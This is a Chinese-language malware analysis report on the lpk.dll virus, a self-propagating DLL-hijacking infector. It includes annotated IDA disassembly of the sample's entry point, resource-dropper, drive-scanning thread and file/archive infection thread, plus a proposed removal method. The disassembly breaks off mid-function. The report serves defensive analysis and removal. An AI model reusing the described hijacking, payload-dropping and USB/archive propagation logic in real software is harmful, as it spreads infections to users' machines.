【lpk.dll病毒/木马】分析报告
lpk病毒分析及查杀工具源码.zip
一、名词解释
母体:指病毒主文件 (lpk.dll.v随包带)
子体:指由母体从资源中释放出来的exe文件.
二、概述
作者: MiTang
时间: 2012-2-25
样本来源:自己机器上已中标,就地取材.
利用双休时间,我对该母体全面分析, 顺便提出了解决办法,附上查杀工具及源码,由于学习紧张,时间紧足没有对子体进行全面分析,故只上传了母体分析报告,肯定会有瑕疵的地方,希望提朋友纠正意见.上传作为一个足迹 .进入正题:
当母体名称为lpk.dll时.利用与系统lpk.dll同名,造成含有edit控件的程序导入该库时被劫持.当程序需要系统 lpk.dll支持时,母体起到了一个中转作用.这些函数并没有挂钩.主要动作有如下2点:
母体在入口点 通过一个有名称 的互斥对像, 仅一次 释放子体并启动它.
2.母体入口点,最后做的工作: 获取系统lpk.dll如下函数填充到自己导出的同名函数中:
LpkTabbedTextOut
LpkDllInitialize
LpkDrawTextEx
LpkEditControl //这步有特殊处理,是一组函数,而不是单个
LpkExtTextOut
LpkGetCharacterPlacement
LpkGetTextExtentExPoint
LpkInitialize
LpkPSMTextOut
LpkUseGDIWidthCache
ftsWordBreak
当母体文件名为其它名称,被程序加载时, 也做上面的第1,2步动作.还加了一步下面这步操作.
1.母体在入口点 启动一个工作主线程工作行为,
动作1. 扫描电脑上所有可感染的逻辑磁盘,针对每一个可感染的逻辑
磁盘启动一个感染线程去感染磁盘.
条件触发: 每过两个小时,或逻辑磁盘发生变化时(如插入U盘时),重复动作1.
2感染线程行为: 枚举逻辑盘上所有文件夹.
只要发现该目录有exe存在且该目录没有母体时,就把当前母体复制过去.
只要发现该目录有zip.或rar. 利用winrar 命令行参数方式,启动rar.exe 先检查压缩包内母体是否存,如果不存在 则把母体添加到压缩包内, 但是这一点作者没做好.在把母体打包时的目标压缩包的名称,与母体创建文件夹名称 冲突,造成无法打包.唉.
整个程序下来,逻辑感觉好乱.
注:随包 idb文件是ida6.1版本的;
三、清理方式
1、对母体与子体提取文件特征码
2、枚举系统所有目录,符合特征码即删除即可.
3、对母体与子体提取内存特征,注入所有进程,枚举所有模块,符合特征关闭进程,再删除.
当然在清理时,母体还在接着感染,所以要先对源头进行控制,在这里一种思路:
因为母体是利用CopyFileW 将自身复制到目标文件夹中,可以先hook所有进程这个函数,对其传入的源文件作特征 检查.符合则拒绝.否则放行. 也可以由此得到作案进程信息强制关闭即可.
分析正文
这里只列出几个核心函数分析,详情在随包idb中
入口点:
; BOOL __stdcall DLLEntry (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
public dllpoint
dllpoint proc near
hLibModule= dword ptr 4
fdwReason= dword ptr 8
lpReserved= dword ptr 0Ch
arg_100020A8= dword ptr 100020ACh
cmp [esp+fdwReason], DLL_PROCESS_ATTACH
push esi
jnz short ELSE_IF
IF_DLL_PROCESS_ATTACH_: ; DLL_PROCESS_ATTACH 第一次加载dll时
mov esi, [esp+4+hLibModule]
push 260 ; nSize
push offset gszCurrentLpkPathName ; lpFilename
push esi ; hModule
mov ghModule, esi
call ds:GetModuleFileNameW ; 获取当前母体目录完整路径,保存在全局变量中,于后面感染别的目录,作为源
push esi ; hLibModule
call ds:DisableThreadLibraryCalls ; The Disable DLL_THREAD_ATTACH DLL_THREAD_DETACH notifications
call MyGetMutexNameTo_gszMutexName
cmp eax, TRUE
jnz short ISLPKDLL
call IsMainModule_hrl_tmp ;主模块是否是子体
test eax, eax
jnz short SKIP_HRL_TMP ; 跳过子体
NOT_HRL_TMP: ; 主模块不是子体.
call MyCreateMutex
test eax, eax ; FALSE 表示第一次创建互体成功,TURE表示创建失败或互体已存在
jnz short SKIP_HRL_TMP
call ReleaseAndCreateProcess ; 释放子体 exe并启动它,成功TURE,失败FALSE
SKIP_HRL_TMP: ; ...
call Is_CurrentModule_lpk_dll
cmp eax, TRUE ; 如果当前模块是lpk.dll则返回FALSE,否则返回TURE,母体可能被改名
jnz short ; 加载系统lpk.dll并获取所有导出函数地址
CurrentModuleIsNot_lpk_dll: ; lpName 母体文件名不为:lpk.dll 时
push NULL
push FALSE ; bInitialState
push eax ; bManualReset
push NULL ; lpEventAttributes
call ds:CreateEventW ; 创建自动管理,初始无信号事件,作退出通知用
mov ghDllDetachEvent, eax
test eax, eax
jz short ISLPKDLL ; 加载系统lpk.dll并获取所有导出函数地址
call Start_MainThreadProc ; 创建主工线程并运行成功,则ghThread存放的是新线程的句柄,否则为NULL
ISLPKDLL: ; lpName 母体文件名为:lpk.dll 时
call LoadSysLpkAndGetExportFunAddr ; 加载系统lpk.dll并获取所有导出函数地址
jmp short IF_END_
; ---------------------------------------------------------------------------
ELSE_IF: ; ...
cmp [esp+4+fdwReason], DLL_PROCESS_DETACH
jnz short ELSE
DLL_PROCESS_DETACH_:
mov eax, ghDllDetachEvent
test eax, eax
jz short ghEvenetIsNULL ; 系统lpk.dll 有加载就释放掉
push eax ; hEvent
call ds:SetEvent ; 置ghEvent信号状态
push INFINITE ; dwMilliseconds
push ghMainThread ; hHandle
call ds:WaitForSingleObject ; 等ghMainThread线程退出,有信号就退出
push ghMainThread ; hObject
mov esi, ds:CloseHandle ; 开始释放资源
call esi ; CloseHandle
push ghDllDetachEvent ; hObject
call esi ; CloseHandle
ghEvenetIsNULL: ; ...
call FreeSysLpkdll ; 系统lpk.dll 有加载就释放掉
ELSE: ; ...
xor eax, eax
inc eax
IF_END_: ; ...
pop esi
retn 0Ch
dllpoint endp
功能: 释放子体并启动子体进程
; BOOL __cdecl ReleaseAndCreateProcess()
ReleaseAndCreateProcess proc near ; ...
PathName= word ptr -26Ch
StartupInfo= _STARTUPINFOW ptr -64h
ProcessInformation= _PROCESS_INFORMATION ptr -20h
NumberOfBytesWritten= dword ptr -10h
lpBuffer= dword ptr -0Ch
nNumberOfBytesToWrite= dword ptr -8
bSuccess= dword ptr -4
push ebp
mov ebp, esp
sub esp, 620
push esi
push edi
push RT_RCDATA ; lpType
push 102 ; lpName
push ghModule ; hModule
xor esi, esi
mov [ebp+bSuccess], esi
call ds:FindResourceW ; 子体放在母体资源中
mov edi, eax
cmp edi, esi
jz EXIT_FAIL
push edi ; hResInfo
push ghModule ; hModule
call ds:SizeofResource
push edi ; hResInfo
push ghModule ; hModule
mov [ebp+nNumberOfBytesToWrite], eax
call ds:LoadResource
cmp eax, esi
jz EXIT_FAIL
cmp [ebp+nNumberOfBytesToWrite], esi
jz EXIT_FAIL
push eax ; hResData
call ds:LockResource
mov [ebp+lpBuffer], eax ; lpBuffer--> 子体exe数据
cmp eax, esi
jz EXIT_FAIL
push ebx
lea eax, [ebp+PathName]
push eax ; lpBuffer
push 260 ; nBufferLength
call ds:GetTempPathW
lea eax, [ebp+PathName]
push eax ; lpTempFileName
push esi ; uUnique
push offset PrefixString ; "hrl"
push eax ; lpPathName
call ds:GetTempFileNameW ; 指定子体 临时文件名为hrl* *号uUnique随机数字
push esi ; hTemplateFile
push esi ; dwFlagsAndAttributes
push 2 ; dwCreationDisposition
push esi ; lpSecurityAttributes
xor ebx, ebx
inc ebx
push ebx ; dwShareMode
push 40000000h ; dwDesiredAccess
lea eax, [ebp+PathName]
push eax ; lpFileName
call ds:CreateFileW ; 创建临时文件
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short EXIT_FAIL1
push esi ; lpOverlapped
lea eax, [ebp+NumberOfBytesWritten]
push eax ; lpNumberOfBytesWritten
push [ebp+nNumberOfBytesToWrite] ; nNumberOfBytesToWrite
mov [ebp+NumberOfBytesWritten], esi
push [ebp+lpBuffer] ; lpBuffer
push edi ; hFile
call ds:WriteFile ; 将子体写到临时文件hrl*.tmp
push edi ; hObject
mov edi, ds:CloseHandle
mov [ebp+bSuccess], eax
call edi ; CloseHandle
cmp [ebp+bSuccess], ebx
jnz short EXIT_FAIL1
push 44h
lea eax, [ebp+StartupInfo]
push eax
call ds:RtlZeroMemory
xor eax, eax
mov [ebp+StartupInfo.wShowWindow], ax
lea eax, [ebp+ProcessInformation]
push eax ; lpProcessInformation
lea eax, [ebp+StartupInfo]
push eax ; lpStartupInfo
push esi ; lpCurrentDirectory
push esi ; lpEnvironment
push esi ; dwCreationFlags
push esi ; bInheritHandles
push esi ; lpThreadAttributes
push esi ; lpProcessAttributes
lea eax, [ebp+PathName]
push eax ; lpCommandLine
push esi ; lpApplicationName
mov [ebp+StartupInfo.cb], 44h
mov [ebp+StartupInfo.dwFlags], ebx
call ds:CreateProcessW ; 启动子体exe进程
mov [ebp+bSuccess], eax
cmp eax, ebx
jnz short EXIT_FAIL1
push [ebp+ProcessInformation.hThread] ; hObject
call edi ; CloseHandle
push [ebp+ProcessInformation.hProcess] ; hObject
call edi ; CloseHandle
EXIT_FAIL1: ; ...
pop ebx
EXIT_FAIL: ; ...
mov eax, [ebp+bSuccess]
pop edi ; 成功返回TURE,否则返回FALSE
pop esi
leave
retn
ReleaseAndCreateProcess endp
功能: 动作1:扫描电脑上所有可感染的逻辑磁盘,针对每一个可感染的逻辑磁盘启动一个感染线程去感染磁盘.
条件触发: 每过两个小时,或逻辑磁盘发生变化时(如插入U盘时),重复动作1.
; DWORD __stdcall MainThreadProc(LPVOID)
MainThreadProc proc near ; ...
nDriverCount= dword ptr -0C4h
hThreadArray= dword ptr -0C0h
lpBuff= byte ptr -60h
sub esp, 0C4h
push ebx
push ebp
push esi
push edi ; 以上保存环境
push 60h
lea eax, [esp+0D8h+lpBuff]
push eax
xor edi, edi ; EDI = 0 存放线程ThreadProc1句柄数组下标
call ds:RtlZeroMemory ; RtlZeroMemory(lpBuff,0x60)
WHILE_BEGIN: ; ...
push 2
pop ebx ; ebx = 2开始,检测目标所有存储器是否可感染
lea ebp, [esp+0D4h+lpBuff] ; ebp->lpBuff
mov [esp+0D4h+nDriverCount], 24
FOR1_BEGING: ; ...
cmp dword ptr [ebp+0], 1
jz short FOR1_STEP ; 下一个磁盘标号
push ebx ; iDrive
call ds:DriveType ; 读取存储器类型
add eax, 0FFFFFFFEh
cmp eax, 2 ; 是否可感染
ja short FOR1_STEP ; 不可感染则下一个磁盘
xor eax, eax
push eax ; lpThreadId
push 4 ; dwCreationFlags
push ebx ; lpParameter
push offset InfectThreadProc ; lpStartAddress 感染线程
push eax ; dwStackSize
push eax ; lpThreadAttributes
call ds:CreateThread ;针对本磁盘启动感染线程
lea esi, [esp+edi*4+0D4h+hThreadArray] ; 保存线程句柄到数组中
mov [esi], eax
test eax, eax
jz short FOR1_STEP ; 下一个磁盘标号
push THREAD_PRIORITY_IDLE ; nPriority
push eax ; hThread
call ds:SetThreadPriority
cmp eax, 1
jnz short FAIL
push dword ptr [esi] ; hThread
call ds:ResumeThread
cmp eax, 0FFFFFFFFh
jz short FAIL ; 线程句柄数组下标++
inc edi
mov dword ptr [ebp+0], TRUE ; 操作成功
jmp short FOR1_STEP ; 下一个磁盘标号
; ---------------------------------------------------------------------------
FAIL: ; ...
push 0 ; dwExitCode
push dword ptr [esi] ; hThread
call ds:TerminateThread
FOR1_STEP: ; ...
inc ebx ; 下一个磁盘标号
add ebp, 4
dec [esp+0D4h+nDriverCount]
jnz short FOR1_BEGING
xor esi, esi
cmp edi, esi ; edi 成功启动感染线程数,如果为0再尝试一次
jz short WHILE_CMP
push esi ; dwMilliseconds
push TRUE ; bWaitAll
lea eax, [esp+0DCh+hThreadArray]
push eax ; lpHandles
push edi ; nCount
call ds:WaitForMultipleObjects ; WaitForMultipleObjects(nCount, hThreadArray, TRUE, 0)
cmp eax, WAIT_TIMEOUT
jz short WHILE_CMP ; 所有感染线程是否执行完毕,如果是就释放所有句柄,否则不管了.
push 60h
lea eax, [esp+0D8h+lpBuff]
push eax
call ds:RtlZeroMemory
test edi, edi
jbe short WHILE1_END ; 如果感染线程大于0,并完全退出,则关闭所有线程句柄
WHILE1_BEGING: ; ...
push [esp+esi*4+0D4h+hThreadArray] ; hObject
call ds:CloseHandle
inc esi
cmp esi, edi
jb short WHILE1_BEGING
WHILE1_END: ; ...
xor edi, edi
WHILE_CMP: ; ...
call IsContinueInfection
cmp eax, TRUE ; 如果主程序运行两小时之多,就是没有dll_detach信号退出或逻辑磁盘发生变化时返回真,继教重新感染
jz WHILE_BEGIN
test edi, edi
jz short EXIT ; 最后一次感染线程数不为0
push INFINITE ; dwMilliseconds
push 1 ; bWaitAll
lea eax, [esp+0DCh+hThreadArray]
push eax ; lpHandles
push edi ; nCount
call ds:WaitForMultipleObjects ; WaitForMultipleObjects(nCount, hThreadArray, TRUE, INFINITE)
xor esi, esi ; 等待所有感染线程退出
test edi, edi
jbe short EXIT
loc_100019CC: ; ...
push [esp+esi*4+0D4h+hThreadArray] ; hObject
call ds:CloseHandle
inc esi
cmp esi, edi
jb short loc_100019CC ; 释放所有线程句柄
EXIT: ; ...
pop edi
pop esi
pop ebp
pop ebx
add esp, 0C4h
retn
MainThreadProc endp
功能:枚举逻辑盘上所有文件夹.
只要发现该目录有exe存在且该目录没有母体时,就把当前母体复制过去.
只要发现该目录有zip.或rar. 利用winrar 命令行参数方式,启动rar.exe 先检查压缩包内母体是否存,如果不存在 则把母体添加到压缩包内, 但是这一点作者没做好.在把母体打包时的目标压缩包的名称,与母体创建文件夹名称冲突
InfectThreadProc proc near ; ...
FindFileData= _WIN32_FIND_DATAW ptr -668h
lpszDestDriverPath= word ptr -418h
lpszDestFilePathName= word ptr -210h
hFindFile= dword ptr -8
var_4= dword ptr -4
lpArg= dword ptr 8
push ebp
mov ebp, esp
sub esp, 1640
push ebx
push 0 ; dwMilliseconds
push ghDllDetachEvent ; hHandle
xor ebx, ebx
inc ebx
mov [ebp+var_4], ebx
call ds:WaitForSingleObject
cmp eax, WAIT_TIMEOUT
jz short WORK ; DLL_DETACH 直接退出,否则做些事情
xor eax, eax
jmp EXIT
; ---------------------------------------------------------------------------
WORK: ; ...
push esi
mov esi, ds:lstrcpyW
push edi
mov edi, [ebp+lpArg]
lea eax, [ebp+lpszDestDriverPath]
cmp edi, 100h ; lpArg小于100h就是盘符id,大于则是文件名完整路径指针
jnb short ARGISFILENAMEPATH
push offset gszA ; "A:\\"
push eax ; lpString1
call esi ; lstrcpyW
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课